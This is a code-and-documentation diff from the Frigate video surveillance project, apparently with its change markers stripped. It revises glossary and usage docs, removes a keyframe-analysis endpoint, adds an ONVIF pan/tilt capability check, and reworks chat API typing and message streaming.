Something Frigate can detect and follow in a camera frame, identified by its [label](#label) (for example a person or a car). The object types Frigate watches for are set in the `objects` configuration. Once an object is detected and followed across frames it becomes a [tracked object](#tracked-object-event-in-previous-versions), which may also carry a [sub label](#sub-label) and [attributes](#attribute). [See the available objects docs for more info](/configuration/objects)
|
||||
When pixels in the current camera frame are different than previous frames. When many nearby pixels are different in the current frame they grouped together and indicated with a red motion box in the live debug view. [See the motion detection docs for more info](/configuration/motion_detection)
|
||||
|
||||
## Region
|
||||
|
||||
A portion of the camera frame sent to the object detection [model](#model). Regions are selected because of [motion](#motion), active objects, or occasionally to recheck stationary objects, and are shown as green boxes in the debug live view.
|
||||
A portion of the camera frame that is sent to object detection, regions can be sent due to motion, active objects, or occasionally for stationary objects. These are represented by green boxes in the debug live view.
|
||||
|
||||
## Review Item
|
||||
|
||||
A period of time during which one or more [tracked objects](#tracked-object-event-in-previous-versions) were active, grouped together for review. Each review item is categorized as either an [alert](#alert) or a [detection](#detection). [See the review docs for more info](/configuration/review)
|
||||
A review item is a time period where any number of events/tracked objects were active. [See the review docs for more info](/configuration/review)
|
||||
|
||||
## Snapshot Score
|
||||
|
||||
The object's score at the specific moment the snapshot was captured.
|
||||
|
||||
## Sub Label
|
||||
|
||||
A more specific identity assigned to a [tracked object](#tracked-object-event-in-previous-versions) in addition to its [label](#label). A `person` may get the name of a recognized face, a `car` may get the name of a known license plate, and a `bird` may get its species. An object can have only one sub label at a time. Sub labels are produced by face recognition, license plate recognition, bird classification, custom object classification configured with the `sub label` type, and semantic search triggers.
|
||||
The score shown in a snapshot is the score of that object at that specific moment in time.
|
||||
|
||||
## Threshold
|
||||
|
||||
The median score an object must reach to be considered a true positive.
|
||||
The threshold is the median score that an object must reach in order to be considered a true positive.
|
||||
|
||||
## Top Score
|
||||
|
||||
The highest median score an object reached over its lifetime.
|
||||
The top score for an object is the highest median score for an object.
|
||||
|
||||
## Tracked Object ("event" in previous versions)
|
||||
|
||||
An [object](#object) followed from the moment it enters the frame until it leaves, including any time it stays still. A tracked object is saved once it is considered a [true positive](#threshold) and meets the requirements for a snapshot or recording.
|
||||
The time period starting when a tracked object entered the frame and ending when it left the frame, including any time that the object remained still. Tracked objects are saved when it is considered a [true positive](#threshold) and meets the requirements for a snapshot or recording to be saved.
|
||||
|
||||
## Zone
|
||||
|
||||
A user-defined area of interest within the camera frame. Zones can be used for notifications and to limit where Frigate creates a [review item](#review-item). [See the zone docs for more info](/configuration/zones)
|
||||
Zones are areas of interest, zones can be used for notifications and for limiting the areas where Frigate will create a [review item](#review-item). [See the zone docs for more info](/configuration/zones)
|
||||
|
||||
@@ -348,7 +348,7 @@ In order to review activity in the Frigate UI, recordings need to be enabled.
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
1. If you have separate streams for detect and record, navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" />, select your camera, and add a second input with the `record` role pointing to your high-resolution stream
|
||||
1. If you have separate streams for detect and record, navigate to <NavPath path="Settings > Camera configuration > FFmpeg" />, select your camera, and add a second input with the `record` role pointing to your high-resolution stream
|
||||
2. Navigate to <NavPath path="Settings > Global configuration > Recording" /> (or <NavPath path="Settings > Camera configuration > Recording" /> for a specific camera) and set **Enable recording** to on
|
||||
|
||||
</TabItem>
|
||||
|
||||
@@ -121,12 +121,6 @@ If segments are only ~1 second instead of ~10 seconds, the camera is sending cor
|
||||
- **Changing codec, bitrate, or resolution mid-stream** — Any encoding changes during an active stream can cause unpredictable segment splitting.
|
||||
- **Camera firmware bugs** — Check for firmware updates from your camera manufacturer.
|
||||
|
||||
:::tip
|
||||
|
||||
You don't have to run `ffprobe` by hand to catch this. Open a camera's **Camera Probe Info** dialog (the info icon on the System → Metrics → Cameras page) and check the **Keyframe analysis** section. It probes the record stream and flags sparse or variable keyframes, which is what smart/"+" codecs (H.264+/H.265+) and long keyframe intervals produce.
|
||||
|
||||
:::
|
||||
|
||||
### Step 4: Check for a stuck detector
|
||||
|
||||
If the detect stream is not processing frames, segments will accumulate. Common causes:
|
||||
|
||||
@@ -19,12 +19,6 @@ You can open History from several places:
|
||||
|
||||
Use the **Back** button to return where you came from, or the **Live** button to jump to the current camera's live view.
|
||||
|
||||
:::tip
|
||||
|
||||
If you see **"No recordings found for this time"**, the most common causes are: recording was not enabled for that camera at the time of the event; the retention window has since expired and those segments were removed; or storage ran low and Frigate deleted them early to free space. See [Recording](/configuration/record) to verify your retention settings.
|
||||
|
||||
:::
|
||||
|
||||
## Timeline, Events, and Detail
|
||||
|
||||
A toggle (a drawer on mobile) switches the side panel between three modes:
|
||||
|
||||
@@ -11,7 +11,7 @@ This page describes how to _use_ the Live view. For how to _configure_ live stre
|
||||
|
||||
## The dashboard at a glance
|
||||
|
||||
The default **All Cameras** dashboard shows every camera, with a filmstrip of recent **alerts** scrolling across the top. Clicking an alert opens it in [Review](/usage/review); each card also has a check button to mark it reviewed without leaving the dashboard. Only **alerts** appear in the filmstrip — to suppress a label or zone from showing there, configure it as a detection instead (see [Alerts and Detections](/configuration/review#alerts-and-detections)).
|
||||
The default **All Cameras** dashboard shows every camera, with a filmstrip of recent **alerts** scrolling across the top. Clicking an alert opens it in [Review](/usage/review); each card also has a check button to mark it reviewed without leaving the dashboard.
|
||||
|
||||
By default Frigate uses **smart streaming**: a camera's image updates roughly once per minute while nothing is happening, and switches to a full live stream the moment activity is detected. This conserves bandwidth and resources. You can change this per camera or per group (see [Streaming settings](#streaming-settings-and-the-right-click-menu) below), and the behavior is explained in detail under [Live view technologies](/configuration/live#live-view-technologies).
|
||||
|
||||
@@ -58,7 +58,7 @@ You can optionally overlay live streaming statistics (stream type, bandwidth, la
|
||||
|
||||
## Streaming settings and the right-click menu
|
||||
|
||||
Right-clicking (or long-pressing) a camera tile opens a context menu with quick controls: an **audio volume** control for streams that support audio, **Mute / Unmute all cameras**, **show or hide streaming statistics**, the **debug view**, **notification** options, and — for admins — turning the camera on or off. If the audio control doesn't appear, see [Audio Support](/configuration/live#audio-support) — audio requires go2rtc configured with a compatible codec.
|
||||
Right-clicking (or long-pressing) a camera tile opens a context menu with quick controls: an **audio volume** control for streams that support audio, **Mute / Unmute all cameras**, **show or hide streaming statistics**, the **debug view**, **notification** options, and — for admins — turning the camera on or off.
|
||||
|
||||
A **Low-bandwidth mode** notice may also appear in the context menu with a **Reset** option appears when Frigate has fallen back to the lower-quality jsmpeg stream — see the [Live view FAQ](/configuration/live#live-view-faq) for why this happens.
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@ This page describes how to _use_ the Review view. For how alerts and detections
|
||||
|
||||
:::info
|
||||
|
||||
Review items are only created for a camera when **object tracking and recording are enabled** for that camera. See [Recording](/configuration/record).
|
||||
Review items are only created for a camera when **recording is enabled** for that camera. See [Recording](/configuration/record).
|
||||
|
||||
:::
|
||||
|
||||
@@ -39,7 +39,7 @@ Review items are shown as a grid of thumbnail cards next to a vertical activity
|
||||
- The object chip on each card is **gray** when the item is unreviewed and turns **green** once it has been reviewed.
|
||||
- The **Mark these items as reviewed** button marks everything currently shown as reviewed at once.
|
||||
|
||||
Reviewed state is tracked per user, so marking an item reviewed does not hide it for other users. Marking an item reviewed does not delete anything — the footage and the review item itself remain until they expire via retention.
|
||||
Reviewed state is tracked per user, so marking an item reviewed does not hide it for other users.
|
||||
|
||||
## Selecting and acting on multiple items
|
||||
|
||||
|
||||
Vendored
+1458
-2660
File diff suppressed because it is too large
Load Diff
+39
-48
@@ -34,15 +34,11 @@ from frigate.config.camera.updater import (
|
||||
)
|
||||
from frigate.config.env import substitute_frigate_vars
|
||||
from frigate.models import User
|
||||
from frigate.util.builtin import clean_camera_user_pass, get_record_segment_time
|
||||
from frigate.util.builtin import clean_camera_user_pass
|
||||
from frigate.util.camera_cleanup import cleanup_camera_db, cleanup_camera_files
|
||||
from frigate.util.config import find_config_file
|
||||
from frigate.util.image import run_ffmpeg_snapshot
|
||||
from frigate.util.services import (
|
||||
analyze_record_keyframes,
|
||||
ffprobe_stream,
|
||||
is_restricted_go2rtc_source,
|
||||
)
|
||||
from frigate.util.services import ffprobe_stream, is_restricted_go2rtc_source
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -366,48 +362,6 @@ def ffprobe(request: Request, paths: str = "", detailed: bool = False):
|
||||
return JSONResponse(content=output)
|
||||
|
||||
|
||||
@router.get("/keyframe_analysis", dependencies=[Depends(require_role(["admin"]))])
|
||||
async def keyframe_analysis(request: Request, camera: str = ""):
|
||||
"""Probe a camera's record stream and classify its keyframe spacing.
|
||||
|
||||
Detects smart/+ codecs and long/variable GOPs that degrade recording.
|
||||
"""
|
||||
config: FrigateConfig = request.app.frigate_config
|
||||
|
||||
if camera not in config.cameras:
|
||||
return JSONResponse(
|
||||
content={"success": False, "message": f"{camera} is not a valid camera."},
|
||||
status_code=404,
|
||||
)
|
||||
|
||||
camera_config = config.cameras[camera]
|
||||
|
||||
if not camera_config.enabled:
|
||||
return JSONResponse(
|
||||
content={"success": False, "message": f"{camera} is not enabled."},
|
||||
status_code=404,
|
||||
)
|
||||
|
||||
# keyframe spacing only matters when this camera is recording
|
||||
if not camera_config.record.enabled:
|
||||
return JSONResponse(content={"severity": "record_disabled"})
|
||||
|
||||
# recording guarantees an input carries the record role; its index matches
|
||||
# the "Stream N" numbering the ffprobe endpoint surfaces (same input order)
|
||||
record_index, record_input = next(
|
||||
(idx, i)
|
||||
for idx, i in enumerate(camera_config.ffmpeg.inputs)
|
||||
if "record" in i.roles
|
||||
)
|
||||
|
||||
segment_time = get_record_segment_time(camera_config)
|
||||
result = await analyze_record_keyframes(
|
||||
config.ffmpeg, record_input.path, segment_time
|
||||
)
|
||||
result["stream_index"] = record_index
|
||||
return JSONResponse(content=result)
|
||||
|
||||
|
||||
@router.get("/ffprobe/snapshot", dependencies=[Depends(require_role(["admin"]))])
|
||||
def ffprobe_snapshot(request: Request, url: str = "", timeout: int = 10):
|
||||
"""Get a snapshot from a stream URL using ffmpeg."""
|
||||
@@ -637,6 +591,32 @@ async def _connect_onvif_camera(
|
||||
raise first_error
|
||||
|
||||
|
||||
def _supports_continuous_pan_tilt(nodes) -> bool:
|
||||
"""Whether any PTZ node advertises continuous pan/tilt velocity.
|
||||
|
||||
The web UI's directional controls issue ContinuousMove with a PanTilt
|
||||
velocity, so continuous pan/tilt is what makes those controls usable. This
|
||||
is intentionally narrower than ptz_supported, which is true for any device
|
||||
exposing the ONVIF PTZ service - including zoom/focus-only varifocal lenses.
|
||||
"""
|
||||
for node in nodes or []:
|
||||
spaces = getattr(node, "SupportedPTZSpaces", None) or (
|
||||
node.get("SupportedPTZSpaces") if isinstance(node, dict) else None
|
||||
)
|
||||
if spaces is None:
|
||||
continue
|
||||
|
||||
continuous = getattr(spaces, "ContinuousPanTiltVelocitySpace", None) or (
|
||||
spaces.get("ContinuousPanTiltVelocitySpace")
|
||||
if isinstance(spaces, dict)
|
||||
else None
|
||||
)
|
||||
if continuous:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
@router.get(
|
||||
"/onvif/probe",
|
||||
dependencies=[Depends(require_role(["admin"]))],
|
||||
@@ -794,6 +774,7 @@ async def onvif_probe(
|
||||
|
||||
# Check PTZ support and capabilities
|
||||
ptz_supported = False
|
||||
pan_tilt_supported = False
|
||||
presets_count = 0
|
||||
autotrack_supported = False
|
||||
|
||||
@@ -827,6 +808,15 @@ async def onvif_probe(
|
||||
logger.debug(f"Failed to get presets: {e}")
|
||||
presets_count = 0
|
||||
|
||||
# Check for real (continuous) pan/tilt, which the UI controls need
|
||||
if ptz_supported:
|
||||
try:
|
||||
nodes = await ptz_service.GetNodes()
|
||||
pan_tilt_supported = _supports_continuous_pan_tilt(nodes)
|
||||
logger.debug(f"Continuous pan/tilt supported: {pan_tilt_supported}")
|
||||
except Exception as e:
|
||||
logger.debug(f"Failed to read PTZ nodes for pan/tilt support: {e}")
|
||||
|
||||
# Check for autotracking support - requires both FOV relative movement and MoveStatus
|
||||
if ptz_supported and first_profile_token and ptz_config_token:
|
||||
# First check for FOV relative movement support
|
||||
@@ -946,6 +936,7 @@ async def onvif_probe(
|
||||
"firmware_version": device_info["firmware_version"],
|
||||
"profiles_count": profiles_count,
|
||||
"ptz_supported": ptz_supported,
|
||||
"pan_tilt_supported": pan_tilt_supported,
|
||||
"presets_count": presets_count,
|
||||
"autotrack_supported": autotrack_supported,
|
||||
}
|
||||
|
||||
+87
-102
@@ -7,7 +7,7 @@ import operator
|
||||
import time
|
||||
from datetime import datetime
|
||||
from functools import reduce
|
||||
from typing import Any, Optional
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
import cv2
|
||||
from fastapi import APIRouter, Body, Depends, HTTPException, Request
|
||||
@@ -59,7 +59,7 @@ class ToolExecuteRequest(BaseModel):
|
||||
"""Request model for tool execution."""
|
||||
|
||||
tool_name: str
|
||||
arguments: dict[str, Any]
|
||||
arguments: Dict[str, Any]
|
||||
|
||||
|
||||
class VLMMonitorRequest(BaseModel):
|
||||
@@ -68,8 +68,8 @@ class VLMMonitorRequest(BaseModel):
|
||||
camera: str
|
||||
condition: str
|
||||
max_duration_minutes: int = 60
|
||||
labels: list[str] = []
|
||||
zones: list[str] = []
|
||||
labels: List[str] = []
|
||||
zones: List[str] = []
|
||||
|
||||
|
||||
@router.get(
|
||||
@@ -91,10 +91,10 @@ def get_tools(request: Request) -> JSONResponse:
|
||||
|
||||
|
||||
def _resolve_zones(
|
||||
zones: list[str],
|
||||
zones: List[str],
|
||||
config: FrigateConfig,
|
||||
target_cameras: list[str],
|
||||
) -> list[str]:
|
||||
target_cameras: List[str],
|
||||
) -> List[str]:
|
||||
"""Map zone names to their canonical config keys, case-insensitively.
|
||||
|
||||
LLMs frequently echo a user's casing ("Front Yard") instead of the
|
||||
@@ -107,7 +107,7 @@ def _resolve_zones(
|
||||
if not zones:
|
||||
return zones
|
||||
|
||||
lookup: dict[str, str] = {}
|
||||
lookup: Dict[str, str] = {}
|
||||
for camera_id in target_cameras:
|
||||
camera_config = config.cameras.get(camera_id)
|
||||
if camera_config is None:
|
||||
@@ -120,8 +120,8 @@ def _resolve_zones(
|
||||
|
||||
async def _execute_search_objects(
|
||||
request: Request,
|
||||
arguments: dict[str, Any],
|
||||
allowed_cameras: list[str],
|
||||
arguments: Dict[str, Any],
|
||||
allowed_cameras: List[str],
|
||||
) -> JSONResponse:
|
||||
"""
|
||||
Execute the search_objects tool.
|
||||
@@ -213,8 +213,8 @@ async def _execute_search_objects(
|
||||
|
||||
async def _execute_search_objects_semantic(
|
||||
request: Request,
|
||||
arguments: dict[str, Any],
|
||||
allowed_cameras: list[str],
|
||||
arguments: Dict[str, Any],
|
||||
allowed_cameras: List[str],
|
||||
semantic_query: str,
|
||||
) -> JSONResponse:
|
||||
"""Search objects via fused thumbnail + description embeddings.
|
||||
@@ -263,8 +263,8 @@ async def _execute_search_objects_semantic(
|
||||
limit = int(arguments.get("limit", 25))
|
||||
limit = max(1, min(limit, 100))
|
||||
|
||||
visual_distances: dict[str, float] = {}
|
||||
description_distances: dict[str, float] = {}
|
||||
visual_distances: Dict[str, float] = {}
|
||||
description_distances: Dict[str, float] = {}
|
||||
try:
|
||||
rows = context.search_thumbnail(semantic_query)
|
||||
visual_distances = {row[0]: row[1] for row in rows}
|
||||
@@ -305,7 +305,7 @@ async def _execute_search_objects_semantic(
|
||||
|
||||
eligible = {e.id: e for e in Event.select().where(reduce(operator.and_, clauses))}
|
||||
|
||||
scored: list[tuple[str, float]] = []
|
||||
scored: List[tuple[str, float]] = []
|
||||
for eid in eligible:
|
||||
v_score = (
|
||||
distance_to_score(visual_distances[eid], context.thumb_stats)
|
||||
@@ -331,9 +331,9 @@ async def _execute_search_objects_semantic(
|
||||
|
||||
async def _execute_find_similar_objects(
|
||||
request: Request,
|
||||
arguments: dict[str, Any],
|
||||
allowed_cameras: list[str],
|
||||
) -> dict[str, Any]:
|
||||
arguments: Dict[str, Any],
|
||||
allowed_cameras: List[str],
|
||||
) -> Dict[str, Any]:
|
||||
"""Execute the find_similar_objects tool.
|
||||
|
||||
Returns a plain dict (not JSONResponse) so the chat loop can embed it
|
||||
@@ -403,8 +403,8 @@ async def _execute_find_similar_objects(
|
||||
# version (see frigate/embeddings/__init__.py). Mirror the pattern used by
|
||||
# frigate/api/event.py events_search: fetch top-k globally, then intersect
|
||||
# with the structured filters via Peewee.
|
||||
visual_distances: dict[str, float] = {}
|
||||
description_distances: dict[str, float] = {}
|
||||
visual_distances: Dict[str, float] = {}
|
||||
description_distances: Dict[str, float] = {}
|
||||
|
||||
try:
|
||||
if similarity_mode in ("visual", "fused"):
|
||||
@@ -462,7 +462,7 @@ async def _execute_find_similar_objects(
|
||||
eligible = {e.id: e for e in Event.select().where(reduce(operator.and_, clauses))}
|
||||
|
||||
# 6. Fuse and rank.
|
||||
scored: list[tuple[str, float]] = []
|
||||
scored: List[tuple[str, float]] = []
|
||||
for eid in eligible:
|
||||
v_score = (
|
||||
distance_to_score(visual_distances[eid], context.thumb_stats)
|
||||
@@ -503,7 +503,7 @@ async def _execute_find_similar_objects(
|
||||
async def execute_tool(
|
||||
request: Request,
|
||||
body: ToolExecuteRequest = Body(...),
|
||||
allowed_cameras: list[str] = Depends(get_allowed_cameras_for_filter),
|
||||
allowed_cameras: List[str] = Depends(get_allowed_cameras_for_filter),
|
||||
) -> JSONResponse:
|
||||
"""
|
||||
Execute a tool function call.
|
||||
@@ -545,8 +545,8 @@ async def execute_tool(
|
||||
async def _execute_get_live_context(
|
||||
request: Request,
|
||||
camera: str,
|
||||
allowed_cameras: list[str],
|
||||
) -> dict[str, Any]:
|
||||
allowed_cameras: List[str],
|
||||
) -> Dict[str, Any]:
|
||||
# Reject wildcards explicitly so models retry with a real camera name
|
||||
# instead of silently fanning out across every camera.
|
||||
if camera in ("*", "all"):
|
||||
@@ -593,7 +593,7 @@ async def _execute_get_live_context(
|
||||
"stationary": obj_dict.get("stationary", False),
|
||||
}
|
||||
|
||||
result: dict[str, Any] = {
|
||||
result: Dict[str, Any] = {
|
||||
"camera": camera,
|
||||
"timestamp": frame_time,
|
||||
"detections": list(tracked_objects_dict.values()),
|
||||
@@ -620,7 +620,7 @@ async def _execute_get_live_context(
|
||||
async def _get_live_frame_image_url(
|
||||
request: Request,
|
||||
camera: str,
|
||||
allowed_cameras: list[str],
|
||||
allowed_cameras: List[str],
|
||||
) -> Optional[str]:
|
||||
"""
|
||||
Fetch the current live frame for a camera as a base64 data URL.
|
||||
@@ -659,8 +659,8 @@ async def _get_live_frame_image_url(
|
||||
|
||||
async def _execute_set_camera_state(
|
||||
request: Request,
|
||||
arguments: dict[str, Any],
|
||||
) -> dict[str, Any]:
|
||||
arguments: Dict[str, Any],
|
||||
) -> Dict[str, Any]:
|
||||
role = request.headers.get("remote-role", "")
|
||||
if "admin" not in [r.strip() for r in role.split(",")]:
|
||||
return {"error": "Admin privileges required to change camera settings."}
|
||||
@@ -699,10 +699,10 @@ async def _execute_set_camera_state(
|
||||
|
||||
async def _execute_tool_internal(
|
||||
tool_name: str,
|
||||
arguments: dict[str, Any],
|
||||
arguments: Dict[str, Any],
|
||||
request: Request,
|
||||
allowed_cameras: list[str],
|
||||
) -> dict[str, Any]:
|
||||
allowed_cameras: List[str],
|
||||
) -> Dict[str, Any]:
|
||||
"""
|
||||
Internal helper to execute a tool and return the result as a dict.
|
||||
|
||||
@@ -763,8 +763,8 @@ async def _execute_tool_internal(
|
||||
|
||||
async def _execute_start_camera_watch(
|
||||
request: Request,
|
||||
arguments: dict[str, Any],
|
||||
) -> dict[str, Any]:
|
||||
arguments: Dict[str, Any],
|
||||
) -> Dict[str, Any]:
|
||||
camera = arguments.get("camera", "").strip()
|
||||
condition = arguments.get("condition", "").strip()
|
||||
max_duration_minutes = int(arguments.get("max_duration_minutes", 60))
|
||||
@@ -814,14 +814,14 @@ async def _execute_start_camera_watch(
|
||||
}
|
||||
|
||||
|
||||
def _execute_stop_camera_watch() -> dict[str, Any]:
|
||||
def _execute_stop_camera_watch() -> Dict[str, Any]:
|
||||
cancelled = stop_vlm_watch_job()
|
||||
if cancelled:
|
||||
return {"success": True, "message": "Watch job cancelled."}
|
||||
return {"success": False, "message": "No active watch job to cancel."}
|
||||
|
||||
|
||||
def _execute_get_profile_status(request: Request) -> dict[str, Any]:
|
||||
def _execute_get_profile_status(request: Request) -> Dict[str, Any]:
|
||||
"""Return profile status including active profile and activation timestamps."""
|
||||
profile_manager = getattr(request.app, "profile_manager", None)
|
||||
if profile_manager is None:
|
||||
@@ -846,9 +846,9 @@ def _execute_get_profile_status(request: Request) -> dict[str, Any]:
|
||||
|
||||
|
||||
def _execute_get_recap(
|
||||
arguments: dict[str, Any],
|
||||
allowed_cameras: list[str],
|
||||
) -> dict[str, Any]:
|
||||
arguments: Dict[str, Any],
|
||||
allowed_cameras: List[str],
|
||||
) -> Dict[str, Any]:
|
||||
"""Fetch review segments with GenAI metadata for a time period."""
|
||||
from functools import reduce
|
||||
|
||||
@@ -909,7 +909,7 @@ def _execute_get_recap(
|
||||
.iterator()
|
||||
)
|
||||
|
||||
events: list[dict[str, Any]] = []
|
||||
events: List[Dict[str, Any]] = []
|
||||
|
||||
for row in rows:
|
||||
data = row.get("data") or {}
|
||||
@@ -920,7 +920,7 @@ def _execute_get_recap(
|
||||
data = {}
|
||||
|
||||
camera = row["camera"]
|
||||
event: dict[str, Any] = {
|
||||
event: Dict[str, Any] = {
|
||||
"camera": camera.replace("_", " ").title(),
|
||||
"severity": row.get("severity", "detection"),
|
||||
}
|
||||
@@ -984,10 +984,10 @@ def _execute_get_recap(
|
||||
|
||||
|
||||
async def _execute_pending_tools(
|
||||
pending_tool_calls: list[dict[str, Any]],
|
||||
pending_tool_calls: List[Dict[str, Any]],
|
||||
request: Request,
|
||||
allowed_cameras: list[str],
|
||||
) -> tuple[list[ToolCall], list[dict[str, Any]], list[dict[str, Any]]]:
|
||||
allowed_cameras: List[str],
|
||||
) -> tuple[List[ToolCall], List[Dict[str, Any]], List[Dict[str, Any]]]:
|
||||
"""
|
||||
Execute a list of tool calls.
|
||||
|
||||
@@ -996,9 +996,9 @@ async def _execute_pending_tools(
|
||||
tool result dicts for conversation,
|
||||
extra messages to inject after tool results — e.g. user messages with images)
|
||||
"""
|
||||
tool_calls_out: list[ToolCall] = []
|
||||
tool_results: list[dict[str, Any]] = []
|
||||
extra_messages: list[dict[str, Any]] = []
|
||||
tool_calls_out: List[ToolCall] = []
|
||||
tool_results: List[Dict[str, Any]] = []
|
||||
extra_messages: List[Dict[str, Any]] = []
|
||||
for tool_call in pending_tool_calls:
|
||||
tool_name = tool_call["name"]
|
||||
tool_args = tool_call.get("arguments") or {}
|
||||
@@ -1106,7 +1106,7 @@ async def _execute_pending_tools(
|
||||
async def chat_completion(
|
||||
request: Request,
|
||||
body: ChatCompletionRequest = Body(...),
|
||||
allowed_cameras: list[str] = Depends(get_allowed_cameras_for_filter),
|
||||
allowed_cameras: List[str] = Depends(get_allowed_cameras_for_filter),
|
||||
):
|
||||
"""
|
||||
Chat completion endpoint with tool calling support.
|
||||
@@ -1138,23 +1138,19 @@ async def chat_completion(
|
||||
)
|
||||
conversation = []
|
||||
|
||||
# Build the system message only when the client hasn't already pinned one.
|
||||
# The first turn has no system message; we generate it (with the current
|
||||
# timestamp) and return the whole chain so the client persists it. Later
|
||||
# turns send it back verbatim, freezing the timestamp so the prompt prefix
|
||||
# stays byte-identical and the model server's prompt cache keeps hitting.
|
||||
if not body.messages or body.messages[0].role != "system":
|
||||
conversation.append(
|
||||
{
|
||||
"role": "system",
|
||||
"content": build_chat_system_prompt(
|
||||
config=config,
|
||||
allowed_cameras=allowed_cameras,
|
||||
semantic_search_enabled=semantic_search_enabled,
|
||||
attribute_classifications=attribute_classifications,
|
||||
),
|
||||
}
|
||||
)
|
||||
system_prompt = build_chat_system_prompt(
|
||||
config=config,
|
||||
allowed_cameras=allowed_cameras,
|
||||
semantic_search_enabled=semantic_search_enabled,
|
||||
attribute_classifications=attribute_classifications,
|
||||
)
|
||||
|
||||
conversation.append(
|
||||
{
|
||||
"role": "system",
|
||||
"content": system_prompt,
|
||||
}
|
||||
)
|
||||
|
||||
for msg in body.messages:
|
||||
msg_dict = {
|
||||
@@ -1165,13 +1161,11 @@ async def chat_completion(
|
||||
msg_dict["tool_call_id"] = msg.tool_call_id
|
||||
if msg.name:
|
||||
msg_dict["name"] = msg.name
|
||||
if msg.tool_calls is not None:
|
||||
msg_dict["tool_calls"] = msg.tool_calls
|
||||
|
||||
conversation.append(msg_dict)
|
||||
|
||||
tool_iterations = 0
|
||||
tool_calls: list[ToolCall] = []
|
||||
tool_calls: List[ToolCall] = []
|
||||
max_iterations = body.max_tool_iterations
|
||||
|
||||
logger.debug(
|
||||
@@ -1181,20 +1175,11 @@ async def chat_completion(
|
||||
|
||||
# True LLM streaming when client supports it and stream requested
|
||||
if body.stream and hasattr(genai_client, "chat_with_tools_stream"):
|
||||
stream_tool_calls: List[ToolCall] = []
|
||||
stream_iterations = 0
|
||||
|
||||
async def stream_body_llm():
|
||||
nonlocal conversation, stream_iterations
|
||||
|
||||
def _emit_chain(extra: Optional[list[dict[str, Any]]] = None):
|
||||
# Return the full conversation (including the system message) so
|
||||
# the client persists and replays it verbatim next turn.
|
||||
chain = conversation + (extra or [])
|
||||
return (
|
||||
json.dumps({"type": "messages", "messages": chain}).encode("utf-8")
|
||||
+ b"\n"
|
||||
)
|
||||
|
||||
nonlocal conversation, stream_tool_calls, stream_iterations
|
||||
while stream_iterations < max_iterations:
|
||||
if await request.is_disconnected():
|
||||
logger.debug("Client disconnected, stopping chat stream")
|
||||
@@ -1259,33 +1244,31 @@ async def chat_completion(
|
||||
)
|
||||
return
|
||||
(
|
||||
_executed_calls,
|
||||
executed_calls,
|
||||
tool_results,
|
||||
extra_msgs,
|
||||
) = await _execute_pending_tools(
|
||||
pending, request, allowed_cameras
|
||||
)
|
||||
stream_tool_calls.extend(executed_calls)
|
||||
conversation.extend(tool_results)
|
||||
conversation.extend(extra_msgs)
|
||||
# Emit the running chain so the client can render tool
|
||||
# calls live and replay them verbatim next turn.
|
||||
yield _emit_chain()
|
||||
yield (
|
||||
json.dumps(
|
||||
{
|
||||
"type": "tool_calls",
|
||||
"tool_calls": [
|
||||
tc.model_dump() for tc in stream_tool_calls
|
||||
],
|
||||
}
|
||||
).encode("utf-8")
|
||||
+ b"\n"
|
||||
)
|
||||
break
|
||||
else:
|
||||
# Streaming never appends the final assistant message
|
||||
# to the conversation, so add it to the chain.
|
||||
yield _emit_chain(
|
||||
extra=[
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": msg.get("content"),
|
||||
}
|
||||
]
|
||||
)
|
||||
yield (json.dumps({"type": "done"}).encode("utf-8") + b"\n")
|
||||
return
|
||||
else:
|
||||
yield _emit_chain()
|
||||
yield json.dumps({"type": "done"}).encode("utf-8") + b"\n"
|
||||
|
||||
return StreamingResponse(
|
||||
@@ -1332,15 +1315,19 @@ async def chat_completion(
|
||||
if body.stream:
|
||||
final_reasoning = response.get("reasoning")
|
||||
|
||||
chain = list(conversation)
|
||||
|
||||
async def stream_body() -> Any:
|
||||
yield (
|
||||
json.dumps({"type": "messages", "messages": chain}).encode(
|
||||
"utf-8"
|
||||
if tool_calls:
|
||||
yield (
|
||||
json.dumps(
|
||||
{
|
||||
"type": "tool_calls",
|
||||
"tool_calls": [
|
||||
tc.model_dump() for tc in tool_calls
|
||||
],
|
||||
}
|
||||
).encode("utf-8")
|
||||
+ b"\n"
|
||||
)
|
||||
+ b"\n"
|
||||
)
|
||||
# Emit the full reasoning trace up front when the
|
||||
# underlying client did not stream it
|
||||
if final_reasoning:
|
||||
@@ -1376,7 +1363,6 @@ async def chat_completion(
|
||||
finish_reason=response.get("finish_reason", "stop"),
|
||||
tool_iterations=tool_iterations,
|
||||
tool_calls=tool_calls,
|
||||
messages=list(conversation),
|
||||
).model_dump(),
|
||||
)
|
||||
|
||||
@@ -1409,7 +1395,6 @@ async def chat_completion(
|
||||
finish_reason="length",
|
||||
tool_iterations=tool_iterations,
|
||||
tool_calls=tool_calls,
|
||||
messages=list(conversation),
|
||||
).model_dump(),
|
||||
)
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
"""Chat API request models."""
|
||||
|
||||
from typing import Any, Optional
|
||||
from typing import Optional
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
@@ -11,29 +11,13 @@ class ChatMessage(BaseModel):
|
||||
role: str = Field(
|
||||
description="Message role: 'user', 'assistant', 'system', or 'tool'"
|
||||
)
|
||||
content: Optional[Any] = Field(
|
||||
default=None,
|
||||
description=(
|
||||
"Message content. Usually a string, but may be a multimodal content "
|
||||
"list (e.g. text + image_url) or null for assistant turns that only "
|
||||
"request tool calls."
|
||||
),
|
||||
)
|
||||
content: str = Field(description="Message content")
|
||||
tool_call_id: Optional[str] = Field(
|
||||
default=None, description="For tool messages, the ID of the tool call"
|
||||
)
|
||||
name: Optional[str] = Field(
|
||||
default=None, description="For tool messages, the tool name"
|
||||
)
|
||||
tool_calls: Optional[list[dict[str, Any]]] = Field(
|
||||
default=None,
|
||||
description=(
|
||||
"For assistant messages replayed from prior turns, the OpenAI-format "
|
||||
"tool calls the model previously requested. Replaying these verbatim "
|
||||
"keeps the conversation prefix byte-for-byte identical so the model "
|
||||
"server's prompt cache hits on follow-up turns."
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
class ChatCompletionRequest(BaseModel):
|
||||
|
||||
@@ -56,12 +56,3 @@ class ChatCompletionResponse(BaseModel):
|
||||
